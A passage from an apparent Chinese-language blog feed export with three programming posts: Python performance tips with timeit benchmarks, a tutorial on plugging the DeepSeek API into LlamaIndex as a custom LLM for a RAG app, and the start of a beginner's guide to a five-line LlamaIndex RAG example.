14print(timeit.timeit(generate_squares_comprehension, number=10000)) 15# 0.2364629579242319 上述代码是列表推导式和 for 循环之间的简单速度比较。如结果所示，列表推导式更快。\n5. 更快的循环：优先使用局部变量 在 Python 中，访问局部变量比访问全局变量或对象的属性要快。\n这里有一个实例来证明这一点：\n1import timeit 2 3class Example: 4 def __init__(self): 5 self.value = 0 6 7obj = Example() 8 9def test_dot_notation(): 10 for _ in range(1000): 11 obj.value += 1 12 13def test_local_variable(): 14 value = obj.value 15 for _ in range(1000): 16 value += 1 17 obj.value = value 18 19print(timeit.timeit(test_dot_notation, number=1000)) 20# 0.036605041939765215 21print(timeit.timeit(test_local_variable, number=1000)) 22# 0.024470250005833805 这就是 Python 的工作方式。直观地说，当一个函数被编译时，里面的局部变量是已知的，但其他外部变量需要时间来检索。\n这是一个小问题，但我们可以利用它来优化我们在处理大量数据时的代码。\n6. 更快的执行：优先使用内置模块和库 当工程师们说 Python 时，他们通常指的是 CPython。因为 CPython 是 Python 语言的默认和最广泛使用的实现。\n鉴于其大多数内置模块和库都是用 C 语言编写的，C 是一种更快的低级语言，我们应该利用内置的武器库，避免重新发明轮子。\n1import timeit 2import random 3from collections import Counter 4 5def count_frequency_custom(lst): 6 frequency = {} 7 for item in lst: 8 if item in frequency: 9 frequency[item] += 1 10 else: 11 frequency[item] = 1 12 return frequency 13 14def count_frequency_builtin(lst): 15 return Counter(lst) 16 17large_list = [random.randint(0, 100) for _ in range(1000)] 18 19print(timeit.timeit(lambda: count_frequency_custom(large_list), number=100)) 20# 0.005160166998393834 21print(timeit.timeit(lambda: count_frequency_builtin(large_list), number=100)) 22# 0.002444291952997446 上述程序比较了两种计算列表中元素频率的方法。我们可以看到，利用内置的Counter来自collections模块更快、更整洁、更好。\n7. 更快的函数调用：利用缓存装饰器进行简单的记忆化 缓存是一种常用的技术，用于避免重复计算并加速程序。\n幸运的是，在大多数情况下，我们不需要编写自己的缓存处理代码，因为 Python 为此目的提供了一个现成的装饰器——@functools.cache。\n例如，以下代码将执行两个斐波那契数生成函数，一个有缓存装饰器，另一个没有：\n1import timeit 2import functools 3 4def fibonacci(n): 5 if n in (0, 1): 6 return n 7 return fibonacci(n - 1) + fibonacci(n - 2) 8 9@functools.cache 10def fibonacci_cached(n): 11 if n in (0, 1): 12 return n 13 return fibonacci_cached(n - 1) + fibonacci_cached(n - 2) 14 15# 测试每个函数的执行时间 16print(timeit.timeit(lambda: fibonacci(30), number=1)) 17# 0.09499712497927248 18print(timeit.timeit(lambda: fibonacci_cached(30), number=1)) 19# 6.458023563027382e-06 结果证明了functools.cache装饰器使我们的代码更快。\n基本的fibonacci函数效率低下，因为在得到fibonacci(30)的结果过程中，它多次重新计算相同的斐波那契数。\n缓存版本要快得多，因为它缓存了先前计算的结果。因此，它只计算一次每个斐波那契数，后续具有相同参数的调用从缓存中检索。\n仅仅添加一个内置装饰器就可以带来如此大的改进，这就是 Pythonic 的意思。😎\n8. 更快的无限循环：优先选择 \u0026ldquo;while 1\u0026rdquo; 而不是 \u0026ldquo;while True\u0026rdquo; 要创建一个无限 while 循环，我们可以使用while True或while 1。\n它们性能的差异通常可以忽略不计。但有趣的是，while 1稍微快一点。\n这是因为1是字面量，但True是一个需要在 Python 的全局作用域中查找的全局名称，因此需要一个微小的开销。\n让我们也在代码片段中检查这两种方式的实际比较：\n1import timeit 2 3def loop_with_true(): 4 i = 0 5 while True: 6 if i \u0026gt;= 1000: 7 break 8 i += 1 9 10def loop_with_one(): 11 i = 0 12 while 1: 13 if i \u0026gt;= 1000: 14 break 15 i += 1 16 17print(timeit.timeit(loop_with_true, number=10000)) 18# 0.1733035419601947 19print(timeit.timeit(loop_with_one, number=10000)) 20# 0.16412191605195403 如我们所见，while 1确实稍微快一点。\n然而，现代 Python 解释器（如 CPython）高度优化，这种差异通常可以忽略不计。更不用说while True比while 1更易读。\n9. 更快的启动：智能导入 Python 模块 在 Python 脚本的顶部导入所有模块似乎是自然而然的事情。\n实际上，我们不必这么做。\n此外，如果一个模块太大，按需导入它是一个更好的主意。\n1def my_function(): 2 import heavy_module 3 # 函数的其余部分 如上述代码，heavy_module在函数内部导入。这是一种“懒加载”的思想，即导入被推迟到my_function被调用时。\n这种方法的好处是，如果my_function在脚本执行过程中从未被调用，那么heavy_module就永远不会被加载，节省了资源并减少了脚本的启动时间。\n","date":"2024-10-07T14:27:36Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-07-jiu-ge-ji-qiao-rang-ni-de-python-dai-ma-yun-xing-de-geng-kua/cover.jpg","permalink":"/p/2024-10-07-jiu-ge-ji-qiao-rang-ni-de-python-dai-ma-yun-xing-de-geng-kua/","title":"九个技巧，让你的Python代码运行得更快！"},{"content":"概述 在上一篇文章中 如何用 30秒和 5 行代码写个 RAG 应用？，我们介绍了如何利用 LlamaIndex 结合 Ollama 的本地大模型和在 Hugging Face 开源的 embedding 模型用几行 Python 代码轻松构建一个 RAG 应用。\n从最终输出的结果上看是满意的，理论上是可以针对本地的知识库内容进行精准的问答。然而执行效率却不尽人意。原因是：无论 LLM 还是 embedding 模型的调用都是在本地，而我本地电脑的性能确属一般（几乎只能利用到 CPU 资源，没有 GPU 资源），这样就导致代码运行速度缓慢。\n本文我们将介绍，如何通过调用国产大模型 DeepSeek 的 API 为我们的 RAG 应用提速，我们将把对本地 Ollama 的模型调用替换成对 DeepSeek API 的调用。\n对比一下上文和本文的方案：\n上文：LlamaIndex + Ollama(Qwen2:7b)+ embedding（BAAI/bge-base-zh-v1.5） 本文：LlamaIndex + DeepSeek API + embedding（BAAI/bge-base-zh-v1.5） DeepSeek 首先来明确几个问题\n为什么不用 OpenAI 的 API？ 当然可以，而且 LlamaIndex 默认支持的就是通过 API Key 访问 OpenAI 的 API。问题是成本太高了，有更高性价比的所以不用它。\nDeepSeek 是什么 ？ DeepSeek 这个词在不同的上下文中有不同的含义，为了避免概念和语义的混淆，我们在这里分别说明一下：\nDeepSeek 代表一个公司：杭州深度求索人工智能基础技术研究有限公司，专注于大模型研发、AI 技术创新和企业解决方案，是幻方量化的子公司。\nDeepSeek 代表一个大语言模型 ：具有 236B 参数量（2360 亿个参数）的开源大语言模型。严格上讲，DeepSeek 不只是一个单一的模型，而是包含多个针对不同任务和应用场景的模型系列，这些模型在 DeepSeek 的基础上进行了专门的优化和训练，以满足特定的需求，如：DeepSeek-Chat、 DeepSeek-Math、DeepSeek-Coder 等。\nDeepSeek 是一个 API: 由 DeepSeek 公司开发对外提供付费的大模型功能的接口，支持文本生成、对话系统、文本摘要、问答系统和多模态任务等。\n在本文中，我们利用 DeepSeek 的 API 间接调用 DeepSeek 所提供的模型，具体模型是 DeepSeek V2.5(DeepSeek V2 Chat 和 DeepSeek Coder V2 两个模型已经合并升级，升级后的新模型为 DeepSeek V2.5)\n为什么用 DeepSeek ？ 使用 DeepSeek 主要出于成本和效果的综合考虑。\n虽然 DeepSeek 是开源大模型（在大模型领域，类似这样的国产中文开源大模型还有许多），但是部署这样的具有大规模参数的模型是需要很多硬件资源的，我们手上的个人电脑没有这个条件。更别说运维和微调这样的模型。所以通过 API 直接调用已经部署好的模型是最便捷的方式，当然，这是有成本的，人家部署和运维这样规模的模型也是需要成本的，所以这些 API 是需要付费使用的。\n从成本考量，DeepSeek 几乎是最佳方案，因 DeepSeek API 调用价格之便宜曾被戏称为 “AI 界的拼多多”。在 DeepSeek 价格公开后不久，多家模型厂商卷入价格战，现在的模型调用价格是真真正正的被 “打下来”了。多家公司频繁更新自家模型价格，截止目前，可以说 “没有最低，只有更低”。\n从效果考量 ，因之前使用过 deepseek-coder、和 deepseek-chat 两个模型，效果上可以说是在中文模型领域的第一梯队。当然这只是我个人的使用体验。\n从权威的角度，通过 LMSYS Chatbot Arena Leaderboard（LMSYS Chatbot Arena Leaderboard 是一个大型语言模型的评测排行榜，提供了一个匿名竞技场，用于评估和比较不同模型的性能。） 这个大型语言模型的评测排行榜可以了解 DeepSeek 的能力如何\n最近的几个月里，国产模型中与 DeepSeek 排名竞争最激烈的是阿里的 Qwen2.5\nDeepSeek 的使用费用 前文中我们提到 DeepSeek 的 API 是需要付费调用的，所以到底收多少钱是一个关键的问题。\n首先，如果你是一个新用户，那么 DeeepSeek 会送你 500w 个 tokens （在自然语言处理中，Token 是指将文本分割成的最小单位。这些单位可以是单词、子词、字符等，具体取决于所使用的分词策略）。简单理解就是 500w 个字。需要注意的是，送的 tokens 有有效期，一个月后就过期了。\n其次，如果送的 tokens 用完了，就需要花真金白银去充值了。\n简单说， 10 元 500w tokens，如果你是个人使用，一个人放开了用，一个月足够了。\nDeepSeek API 的使用 无论是通过赠送还是付费，当你拥有了 tokens，你就可以根据文档创建自己的 API key 并进行 API 调用了。\n由于是走网络 API 的这种方式，在编程语言上就没有限制了，你可以选用你觉得合适的语言。DeepSeek 官方也比较贴心的给出了各种语言调用的示例：\n这里我用 Python 写了一个简单的调用 Demo， 以下是具体代码：\n1from openai import OpenAI 2 3class DeepSeekChat: 4 def __init__(self, api_key, base_url=\u0026#34;https://api.deepseek.com\u0026#34;): 5 self.client = OpenAI(api_key=api_key, base_url=base_url) 6 7 def chat( 8 self, 9 system_message, 10 user_message, 11 model=\u0026#34;deepseek-chat\u0026#34;, 12 max_tokens=1024, 13 temperature=0.7, 14 stream=True, 15 ): 16 17 response = self.client.chat.completions.create( 18 model=model, 19 messages=[ 20 {\u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, \u0026#34;content\u0026#34;: system_message}, 21 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: user_message}, 22 ], 23 max_tokens=max_tokens, 24 temperature=temperature, 25 stream=stream, 26 ) 27 28 if stream: 29 return self._stream_response(response) 30 else: 31 return response.choices[0].message.content 32 33 def _stream_response(self, response): 34 full_response = \u0026#34;\u0026#34; 35 for chunk in response: 36 if chunk.choices[0].delta.content is not None: 37 content = chunk.choices[0].delta.content 38 print(content, end=\u0026#34;\u0026#34;, flush=True) 39 full_response += content 40 41 print(\u0026#34;\\r\\n===============我是分隔线===============\u0026#34;) 42 return full_response 43 44# 使用示例 45if __name__ == \u0026#34;__main__\u0026#34;: 46 deepseek_chat = DeepSeekChat(api_key=\u0026#34;[你的 API Key]\u0026#34;) 47 response = deepseek_chat.chat( 48 system_message=\u0026#34;你是一个聪明的 AI 助手\u0026#34;, 49 user_message=\u0026#34;三国演义中战斗力排名前 10 的武将有谁？\u0026#34;, 50 stream=True, 51 ) 52 print(\u0026#34;完整回答：\u0026#34;, response) 可以看到我们只引入了 openai 这一个库，原因是 DeepSeek 的 API 和 OpenAI 的 API 是兼容的。\n“\nDeepSeek API 使用与 OpenAI 兼容的 API 格式，通过修改配置，您可以使用 OpenAI SDK 来访问 DeepSeek API，或使用与 OpenAI API 兼容的软件。\n1 --源自 DeepSeek 文档 引入 openai 这个库以后我们不需要再引入其他多余的库就可以进行 API 请求了。\n这段代码比较简单，我的问题是 ：“三国演义中战斗力排名前 10 的武将有谁？” 我们来看一下大模型给我的回答：\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:19\n0/0\n00:00/00:19\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:19\n00:19\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析\n观看更多\nOriginal\n,\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\nRAG 在上一篇文章中我们能够方便地调用 Ollama 进而调用本地下载好的模型，是因为 LlamaIndex 的库封装好了：\n1# 设置语言模型，使用 Ollama 提供的 Qwen2 7B 模型，并设置请求超时时间 2Settings.llm = Ollama(model=\u0026#34;qwen2:7b\u0026#34;, request_timeout=360.0) 现在，我们想用在线的模型 DeepSeek，让 LlamaIndex 去调用 DeepSeek API 就不能用之前的方式了。\nLlamaIndex 支持的 LLM 集成方式 通过查看 LlamaIndex 的文档，总结来说，它支持的 LLM 集成方式有三种：\n通过 Ollama 调用安装在本地的大模型（一般适用于个人电脑使用） 通过 API 调用的免费或付费模型 自定义 LLM 我们需要解释一下：\n第一种方式 : Ollama 无需多言。\n第二种方式 : API 付费调用不是所有市面上的模型 LlamaIndex 都有现成的集成方式，比如 DeepSeek 就没有，具体支持集成哪些模型，在它的文档中有清单：https://docs.llamaindex.ai/en/stable/module_guides/models/llms/modules/ 另外，对于付费模型，模型背后的公司都会提供相应的 API，付费购买就可以了，而开源模型虽然本身代码是开源的，但提供模型调用服务的平台是收费的，比如 Replicate\n也就是说第二种方式无论你使用的模型本身是否开源，提供模型调用服务的平台都会收费。\n第三种方式：自定义 LLM，本文我们使用的就是这种方式 ，这种集成实现方式是 LlamaIndex 留给开发者的一个扩展，我们可以自定义自己需要使用的 LLM 与 LlamaIndex 进行集成。使用这种方式可以实现两类集成：\n第一类就是类似 DeepSeek 这种已经有 API 但 LlamaIndex 尚未支持的 LLM。\n第二类就是调用我们本地部署的开源大模型，当然一般是部署在服务器上（如果 PC 有足够的计算资源也可以部署在 PC 上）\nCustom LLM 如何通过 Custom LLM 的方式将 DeepSeek 与 LlamaIndex 进行集成呢？\n其实很容易，我们只需要创建一个类并实现三个方法即可（用 python 代码实现）。\n文档中给出的代码是这样的：\n1from typing import Optional, List, Mapping, Any 2 3from llama_index.core import SimpleDirectoryReader, SummaryIndex 4from llama_index.core.callbacks import CallbackManager 5from llama_index.core.llms import ( 6 CustomLLM, 7 CompletionResponse, 8 CompletionResponseGen, 9 LLMMetadata, 10) 11from llama_index.core.llms.callbacks import llm_completion_callback 12from llama_index.core import Settings 13 14class OurLLM(CustomLLM): 15 context_window: int = 3900 16 num_output: int = 256 17 model_name: str = \u0026#34;custom\u0026#34; 18 dummy_response: str = \u0026#34;My response\u0026#34; 19 20 @property 21 def metadata(self) -\u0026gt; LLMMetadata: 22 \u0026#34;\u0026#34;\u0026#34;Get LLM metadata.\u0026#34;\u0026#34;\u0026#34; 23 return LLMMetadata( 24 context_window=self.context_window, 25 num_output=self.num_output, 26 model_name=self.model_name, 27 ) 28 29 @llm_completion_callback() 30 def complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponse: 31 return CompletionResponse(text=self.dummy_response) 32 33 @llm_completion_callback() 34 def stream_complete( 35 self, prompt: str, **kwargs: Any 36 ) -\u0026gt; CompletionResponseGen: 37 response = \u0026#34;\u0026#34; 38 for token in self.dummy_response: 39 response += token 40 yield CompletionResponse(text=response, delta=token) 41 42# define our LLM 43Settings.llm = OurLLM() 44 45# define embed model 46Settings.embed_model = \u0026#34;local:BAAI/bge-base-en-v1.5\u0026#34; 47 48# Load the your data 49documents = SimpleDirectoryReader(\u0026#34;./data\u0026#34;).load_data() 50index = SummaryIndex.from_documents(documents) 51 52# Query and print response 53query_engine = index.as_query_engine() 54response = query_engine.query(\u0026#34;\u0026lt;query_text\u0026gt;\u0026#34;) 55print(response) OurLLM 就是要创建的类，要实现的三个方法是：\nmetadata complete stream_complete 实际上一般 metadata 方法可以直接返回 LLMMetadata() ，最主要的就是实现后面两个方法。\n实例 根据上一节 Custom LLM 所述，我将上一篇文章中的 Ollama 模型调用换成自定义的 DeepSeek，以下是主要代码：\n1import os 2import sys 3import logging 4from openai import OpenAI 5from typing import Any, Generator 6from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 7from llama_index.embeddings.huggingface import HuggingFaceEmbedding 8from llama_index.core.llms import ( 9 CustomLLM, 10 CompletionResponse, 11 CompletionResponseGen, 12 LLMMetadata, 13) 14from llama_index.core.llms.callbacks import llm_completion_callback 15from pydantic import BaseModel, Field 16from dotenv import load_dotenv 17from functools import cached_property 18 19# 配置日志 创建一个与当前模块同名的 logger 20logging.basicConfig(level=logging.INFO) 21logger = logging.getLogger(__name__) 22 23# 从环境变量获取 API 密钥 24load_dotenv() 25 26API_KEY = os.getenv(\u0026#34;DEEPSEEK_API_KEY\u0026#34;) 27if not API_KEY: 28 raise ValueError(\u0026#34;DEEPSEEK_API_KEY environment variable is not set\u0026#34;) 29 30class DeepSeekChat(BaseModel): 31 \u0026#34;\u0026#34;\u0026#34;DeepSeek 聊天模型的封装类。\u0026#34;\u0026#34;\u0026#34; 32 33 api_key: str = Field(default=API_KEY) 34 base_url: str = Field(default=\u0026#34;https://api.deepseek.com\u0026#34;) 35 36 class Config: 37 \u0026#34;\u0026#34;\u0026#34;Pydantic 配置类。\u0026#34;\u0026#34;\u0026#34; 38 39 arbitrary_types_allowed = True # 允许模型接受任意类型的字段 40 # 这增加了灵活性，但可能降低类型安全性 41 # 在本类中，这可能用于允许使用 OpenAI 客户端等复杂类型 42 43 @cached_property 44 def client(self) -\u0026gt; OpenAI: 45 \u0026#34;\u0026#34;\u0026#34;创建并缓存 OpenAI 客户端实例。\u0026#34;\u0026#34;\u0026#34; 46 return OpenAI(api_key=self.api_key, base_url=self.base_url) 47 48 def chat( 49 self, 50 system_message: str, 51 user_message: str, 52 model: str = \u0026#34;deepseek-chat\u0026#34;, 53 max_tokens: int = 1024, 54 temperature: float = 0.7, 55 stream: bool = False, 56 ) -\u0026gt; Any: 57 \u0026#34;\u0026#34;\u0026#34; 58 使用 DeepSeek API 发送聊天请求。 59 60 返回流式响应或完整响应内容。 61 \u0026#34;\u0026#34;\u0026#34; 62 try: 63 response = self.client.chat.completions.create( 64 model=model, 65 messages=[ 66 {\u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, \u0026#34;content\u0026#34;: system_message}, 67 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: user_message}, 68 ], 69 max_tokens=max_tokens, 70 temperature=temperature, 71 stream=stream, 72 ) 73 return response if stream else response.choices[0].message.content 74 except Exception as e: 75 logger.error(f\u0026#34;Error in DeepSeek API call: {e}\u0026#34;) 76 raise 77 78 def _stream_response(self, response) -\u0026gt; Generator[str, None, None]: 79 \u0026#34;\u0026#34;\u0026#34;处理流式响应，逐块生成内容。\u0026#34;\u0026#34;\u0026#34; 80 for chunk in response: 81 if chunk.choices[0].delta.content is not None: 82 yield chunk.choices[0].delta.content 83 84class DeepSeekLLM(CustomLLM): 85 \u0026#34;\u0026#34;\u0026#34;DeepSeek 语言模型的自定义实现。\u0026#34;\u0026#34;\u0026#34; 86 87 deep_seek_chat: DeepSeekChat = Field(default_factory=DeepSeekChat) 88 89 @property 90 def metadata(self) -\u0026gt; LLMMetadata: 91 \u0026#34;\u0026#34;\u0026#34;返回 LLM 元数据。\u0026#34;\u0026#34;\u0026#34; 92 return LLMMetadata() 93 94 @llm_completion_callback() 95 def complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponse: 96 \u0026#34;\u0026#34;\u0026#34;执行非流式完成请求。\u0026#34;\u0026#34;\u0026#34; 97 response = self.deep_seek_chat.chat( 98 system_message=\u0026#34;你是一个聪明的 AI 助手\u0026#34;, user_message=prompt, stream=False 99 ) 100 return CompletionResponse(text=response) 101 102 @llm_completion_callback() 103 def stream_complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponseGen: 104 \u0026#34;\u0026#34;\u0026#34;执行流式完成请求。\u0026#34;\u0026#34;\u0026#34; 105 response = self.deep_seek_chat.chat( 106 system_message=\u0026#34;你是一个聪明的 AI 助手\u0026#34;, user_message=prompt, stream=True 107 ) 108 109 def response_generator(): 110 \u0026#34;\u0026#34;\u0026#34;生成器函数，用于逐步生成响应内容。\u0026#34;\u0026#34;\u0026#34; 111 response_content = \u0026#34;\u0026#34; 112 for chunk in self.deep_seek_chat._stream_response(response): 113 if chunk: 114 response_content += chunk 115 yield CompletionResponse(text=response_content, delta=chunk) 116 117 return response_generator() 118 119# 设置环境变量，禁用 tokenizers 的并行处理，以避免潜在的死锁问题 120os.environ[\u0026#34;TOKENIZERS_PARALLELISM\u0026#34;] = \u0026#34;false\u0026#34; 121 122def main(): 123 \u0026#34;\u0026#34;\u0026#34;主程序函数，演示如何使用 DeepSeekLLM 进行文档查询。\u0026#34;\u0026#34;\u0026#34; 124 # 从指定目录加载文档数据 125 documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 126 127 # 设置 LLM 和嵌入模型 128 Settings.llm = DeepSeekLLM() 129 Settings.embed_model = HuggingFaceEmbedding(model_name=\u0026#34;BAAI/bge-base-zh-v1.5\u0026#34;) 130 131 # 创建索引和查询引擎 132 index = VectorStoreIndex.from_documents(documents) 133 query_engine = index.as_query_engine(streaming=True) 134 135 # 执行查询 136 print(\u0026#34;查询结果：\u0026#34;) 137 response = query_engine.query(\u0026#34;作者学习过的编程语言有哪些？\u0026#34;) 138 139 # 处理并输出响应 140 if hasattr(response, \u0026#34;response_gen\u0026#34;): 141 # 流式输出 142 for text in response.response_gen: 143 print(text, end=\u0026#34;\u0026#34;, flush=True) 144 sys.stdout.flush() # 确保立即输出 145 else: 146 # 非流式输出 147 print(response.response, end=\u0026#34;\u0026#34;, flush=True) 148 149 print(\u0026#34;\\n 查询完成\u0026#34;) 150 151if __name__ == \u0026#34;__main__\u0026#34;: 152 main() 你别看代码写的长，那是因为我做过重构，其实可以实现的更短。不要被篇幅吓到，其实主要执行逻辑与上一篇文章中写的没什么区别，只在自定义 DeepSeekLLM 这里有所不同，如果你把本文从头看到尾，其实其中的第一步分解拆开都有解释过，也比较简单。\n我们来看一下效果，测试数据仍然是上一篇文章中的文本内容，问题仍然是 ：“作者学习过的编程语言有哪些？”\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:09\n0/0\n00:00/00:09\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:09\n00:09\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析\n观看更多\n转载\n,\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n总结 本文我们介绍了如何通过调用国产大模型 DeepSeek 的 API 来提升 RAG（检索增强生成）应用的执行效率。相比使用本地 Ollama 模型，DeepSeek 的 API 不仅解决了本地计算资源不足导致的运行速度慢的问题，还保持了高质量的生成结果。DeepSeek 在成本和效果上表现出色，特别适合中文模型的应用。通过自定义 LLM 的方式，我们成功将 DeepSeek 与 LlamaIndex 集成，展示了如何实现高效的数据处理和生成。本文提供的方法和示例代码为构建高性能 RAG 应用提供了一种实用的解决方案。\n","date":"2024-10-06T13:27:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-06-ti-su-rag-ying-yong-yong-deepseek-api-ti-huan-ben-di-ollama-/cover.jpg","permalink":"/p/2024-10-06-ti-su-rag-ying-yong-yong-deepseek-api-ti-huan-ben-di-ollama/","title":"提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析"},{"content":"花 30 秒用 5 行代码写个 RAG 应用\n这个点子不是我想出来的，是 llamaindex 想出来的。llamaindex 是啥？\nLlamaIndex 是一个框架，用于使用 llm（包括 agents 和 workflows）构建上下文增强的生成式人工智能应用程序。\n当然也包括创建 RAG 应用，因为最流行的上下文增强示例就是 RAG（Retrieval-Augmented Generation， RAG），也就是在推理时将上下文与 llm 结合起来的检索增强。\n如果是对 RAG 还不了解的朋友，那么可以参考之前几篇文章中的相关介绍：\nRAG 实践-Ollama+AnythingLLM 搭建本地知识库\nRAG（检索增强生成）系统的问题及解决思路\n简单来说：RAG（Retrieval-Augmented Generation）是一种结合检索和生成技术的人工智能方法，通过从外部知识源检索相关信息，增强语言模型的生成能力，提高输出的准确性和相关性。\nLlamaIndex 在进入正题前，关于 LlamaIndex 我还是要再多说几句。\nLlamaIndex 是一个开源框架：https://github.com/run-llama/llama_index\n它是用 Python 写的\n最新版本是：0.11.14\n官网地址是：https://www.llamaindex.ai/\n在今年夏天的某个会议上，从 LlamaIndex 团队成员那儿得知，他们是一个规模很小的创业公司，当时团队成员大概 15 人左右。\n30 秒 5 行代码 前文说了 30 秒 5 行代码的主意不是我想到的，而是来源于 LlamaIndex ，具体说是 LlamaIndex 的文档中写的：\n事实也的确如此，但是，这里有一些前提条件。\n首先，从字面上你也能看出来，运行这 5 行代码需要 OpenAI 的 API key。\n其次，无论你懂不懂编程，我告诉你这 5 行代码是 Python 语言写的。那么你要有一个 Python 语言的运行环境，以及你最好懂得如何用 Python 编程。关于这一点，对于不懂编程的朋友确实不太友好了。不过值得庆幸的是，Python 语言本身很强大，很好上手，容易学习。门槛并不算太高。虽然我们要开发的应用是跟人工智能（AI）相关的，但也不要被吓到了，以为会多么难。其实有很大一部分所谓的 AI 产品也只是 AI、大模型的应用产品。开发那些产品的工程师甚至也只是能算是大模型应用开发工程师，还用不到多么艰深的技术呢。（这里并没有拉踩的意思，只是客观表述。能把技术应用的很好，做出满足用户需求的创新性产品也是非常有价值的，做出这样产品的人也当然值得尊重）\n安装 Python 我们先解决 Python 的问题，对于已经熟练掌握 Python 开发的就可以跳过了。对于编程小白或其他语言开发者（如 Java） 可以看看。\n我们得搭建一个 Python 的开发和运行环境。关于 Python 的安装网上教程一大堆，无论你的操作系统是 Windows、Mac 还是 Linux 都很容易。我就不罗嗦了。\n我的操作系统是 MacOS, 后文的具体操作细节都是基于我本地的 Mac 电脑，所以请大家注意，下图是我的的电脑系统情况：\nPython 比较常见的大版本有 Python2 和 Python3 , 我使用的版本是 Python3，具体来说是 3.12.4 算是个比较新的版本了\n关于 Python 的安装，我更建议用 Conda ，它可以创建多个不同 Python 版本的环境，相当于一个 Python 环境和版本管理工具。这样你就可以创建多个不同 Python 版本的环境，相互之间隔离，互不影响。因为有时候不同的项目用到不同的 Python 版本，混在一起比较麻烦，有了 Conda 就方便多了。\nConda 可以到这里下载安装：https://docs.anaconda.com/free/miniconda/\n安装好以后记得设置一下镜像源，不然下载比较慢：\n1conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ 2conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ 3conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ 4conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ 5conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/pro/ 6conda config --set show_channel_urls yes 以下是一些基础命令：\n1//创建虚拟环境 2conda create -n xinference python=3.11.0 3 4//激活虚拟环境 5conda activate xinference 6 7//退出虚拟环境 8conda deactivate 9 10//删除虚拟环境 11conda remove -n xinference --all 12 13//查看虚拟环境 14conda env list Python 安装好以后，我们还需要一个开发工具，即 IDE，你可以选择 VSCode,PyCharm,Cursor,Zed 等等。这里我推荐 Cursor，因为借用 claude 及 gpt 等大模型的能力，你可以一边快速开发一边快速学习，高效产出的同时高效吸收，简直太爽啦。\n学习 Python 关于 Python 的学习，我这里对于特别小白的，尤其是从来没有接触过编程的朋友没有什么具体的建议，因为我从未指导过类似情况的朋友，所以没有经验，不能乱说，怕误人子弟。因为我既不知道用什么样的方式也不知道用什么样的资料指导有用。不过我觉得对于小白，能持续学习下去是最重要的，不要找太难的资料，可以找一些你容易上手，容易看懂的资料来学习，有持续的正反馈，计算机相关的知识很多，有些确实难懂，有持续的正反馈你才不至于半途而废。\n而对于其他语言的开发者，其实已经具备了基础的计算机知识，甚至也已经是某些编程语言的专家了。那么学习 Python 对于你来说就比较容易了，一理通百理明。都大差不差的。\n我这里把之前收藏的一些学习资料分享一下：\nhttps://github.com/jackfrued/Python-for-Freshmen-2023 https://github.com/jackfrued/Python-100-Days https://github.com/walter201230/Python https://www.fullstackpython.com 认认真真把其中一个资料看完。一般来说，用 2 个星期，每天 1-2 个小时左右，快的话甚至一个星期你就能基本掌握这门语言了。\n我知道很多朋友不满足只是基本掌握，想更精进，那么就需要再加码了，这里我推荐系统地看一些书，因为书籍会相对系统地讲解知识，这样你对 Python 以及 Python 相关的技术就会有一个全面而深入的了解了。\n说实话我看的书并不多，也不好意思过多推荐，这里推荐一本我最喜欢的，豆瓣 9.1 分。\n写得确实很好，很实用，不讲虚的。读起来也很流畅、舒服。是市面上难得的原创 Python 进阶图书。\n编程 现在我们假设你已经有了一个 Python 的运行环境及开发工具。那么接下来我们就要正式开始编写这 5 行代码了（铺垫这么多终于要写代码了～）\n首先我们要建一个工程，这很简单，不多说。\n然后根据文档所示，我们要安装 llama-index 的依赖包，在项目根路径下执行\n1pip install llama-index 当然，如果你使用的是 Python3 ，可以这样安装：\n1pip3 install llama-index 安装好依赖包以后我们创建 main.py 文件，并编写程序：\n1from llama_index.core import VectorStoreIndex, SimpleDirectoryReader 2 3documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 4index = VectorStoreIndex.from_documents(documents) 5query_engine = index.as_query_engine() 6response = query_engine.query(\u0026#34;Some question about the data should go here\u0026#34;) 7print(response) 别看这段只有几行代码，却有好几个问题，我们一个一个地说。\n第一个问题是：如果你直接运行 main.py 这个文件会报错，错误总结来说就是你没有 OpenAI 的 Api Key 